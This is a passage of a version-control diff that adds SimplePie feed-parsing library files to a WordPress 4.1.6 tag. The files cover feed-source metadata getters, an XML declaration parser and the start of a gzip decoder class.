+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
+		{
+			// This is really the label, but keep this as the term also for BC.
+			// Label will also work on retrieving because that falls back to term.
+			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			if (isset($category['attribs']['']['domain']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$scheme = null;
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($categories))
+		{
+			return array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($authors))
+		{
+			return array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Added for parity between the parent-level and the item/entry-level.
+	 */
+	public function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	public function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_description()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_copyright()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_language()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['xml_lang']))
+		{
+			return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_latitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_longitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_image_url()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/XML/Declaration/Parser.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/XML/Declaration/Parser.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/XML/Declaration/Parser.php	(revision 33402)
@@ -0,0 +1,362 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Parses the XML Declaration
+ *
+ * @package SimplePie
+ * @subpackage Parsing
+ */
+class SimplePie_XML_Declaration_Parser
+{
+	/**
+	 * XML Version
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $version = '1.0';
+
+	/**
+	 * Encoding
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $encoding = 'UTF-8';
+
+	/**
+	 * Standalone
+	 *
+	 * @access public
+	 * @var bool
+	 */
+	var $standalone = false;
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $state = 'before_version_name';
+
+	/**
+	 * Input data
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 * @access private
+	 */
+	var $position = 0;
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	public function __construct($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return bool true on success, false on failure
+	 */
+	public function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit')
+		{
+			return true;
+		}
+		else
+		{
+			$this->version = '';
+			$this->encoding = '';
+			$this->standalone = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @access private
+	 * @return bool true if there is further data, false if not
+	 */
+	public function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+
+	/**
+	 * Advance past any whitespace
+	 *
+	 * @return int Number of whitespace characters passed
+	 */
+	public function skip_whitespace()
+	{
+		$whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
+		$this->position += $whitespace;
+		return $whitespace;
+	}
+
+	/**
+	 * Read value
+	 */
+	public function get_value()
+	{
+		$quote = substr($this->data, $this->position, 1);
+		if ($quote === '"' || $quote === "'")
+		{
+			$this->position++;
+			$len = strcspn($this->data, $quote, $this->position);
+			if ($this->has_data())
+			{
+				$value = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				return $value;
+			}
+		}
+		return false;
+	}
+
+	public function before_version_name()
+	{
+		if ($this->skip_whitespace())
+		{
+			$this->state = 'version_name';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function version_name()
+	{
+		if (substr($this->data, $this->position, 7) === 'version')
+		{
+			$this->position += 7;
+			$this->skip_whitespace();
+			$this->state = 'version_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function version_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'version_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function version_value()
+	{
+		if ($this->version = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'encoding_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function encoding_name()
+	{
+		if (substr($this->data, $this->position, 8) === 'encoding')
+		{
+			$this->position += 8;
+			$this->skip_whitespace();
+			$this->state = 'encoding_equals';
+		}
+		else
+		{
+			$this->state = 'standalone_name';
+		}
+	}
+
+	public function encoding_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'encoding_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function encoding_value()
+	{
+		if ($this->encoding = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'standalone_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function standalone_name()
+	{
+		if (substr($this->data, $this->position, 10) === 'standalone')
+		{
+			$this->position += 10;
+			$this->skip_whitespace();
+			$this->state = 'standalone_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function standalone_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'standalone_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	public function standalone_value()
+	{
+		if ($standalone = $this->get_value())
+		{
+			switch ($standalone)
+			{
+				case 'yes':
+					$this->standalone = true;
+					break;
+
+				case 'no':
+					$this->standalone = false;
+					break;
+
+				default:
+					$this->state = false;
+					return;
+			}
+
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = false;
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/gzdecode.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/gzdecode.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/gzdecode.php	(revision 33402)
@@ -0,0 +1,371 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Decode 'gzip' encoded HTTP data
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @link http://www.gzip.org/format.txt
+ */
+class SimplePie_gzdecode
+{
+	/**
+	 * Compressed data
+	 *
+	 * @access private
+	 * @var string
+	 * @see gzdecode::$data
+	 */
+	var $compressed_data;
+
+	/**
+	 * Size of compressed data
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $compressed_size;
+
+	/**
+	 * Minimum size of a valid gzip string
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $min_compressed_size = 18;
+
+	/**
+	 * Current position of pointer
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $position = 0;
+
+	/**
+	 * Flags (FLG)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $flags;
+
+	/**
+	 * Uncompressed data
+	 *
+	 * @access public
+	 * @see gzdecode::$compressed_data
+	 * @var string
+	 */
+	var $data;
+
+	/**
+	 * Modified time
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $MTIME;
+
+	/**
+	 * Extra Flags
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $XFL;
+
+	/**
+	 * Operating System
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $OS;
+
+	/**
+	 * Subfield ID 1
+	 *
+	 * @access public
+	 * @see gzdecode::$extra_field
+	 * @see gzdecode::$SI2
+	 * @var string
+	 */
+	var $SI1;
+
+	/**
+	 * Subfield ID 2
+	 *
+	 * @access public
+	 * @see gzdecode::$extra_field
+	 * @see gzdecode::$SI1
+	 * @var string
+	 */
+	var $SI2;
+
+	/**
+	 * Extra field content
+	 *
+	 * @access public
+	 * @see gzdecode::$SI1
+	 * @see gzdecode::$SI2
+	 * @var string
+	 */
+	var $extra_field;
+
+	/**
+	 * Original filename
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $filename;
+
+	/**
+	 * Human readable comment
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $comment;
+
+	/**
+	 * Don't allow anything to be set
+	 *
+	 * @param string $name
+	 * @param mixed $value
+	 */
+	public function __set($name, $value)
+	{
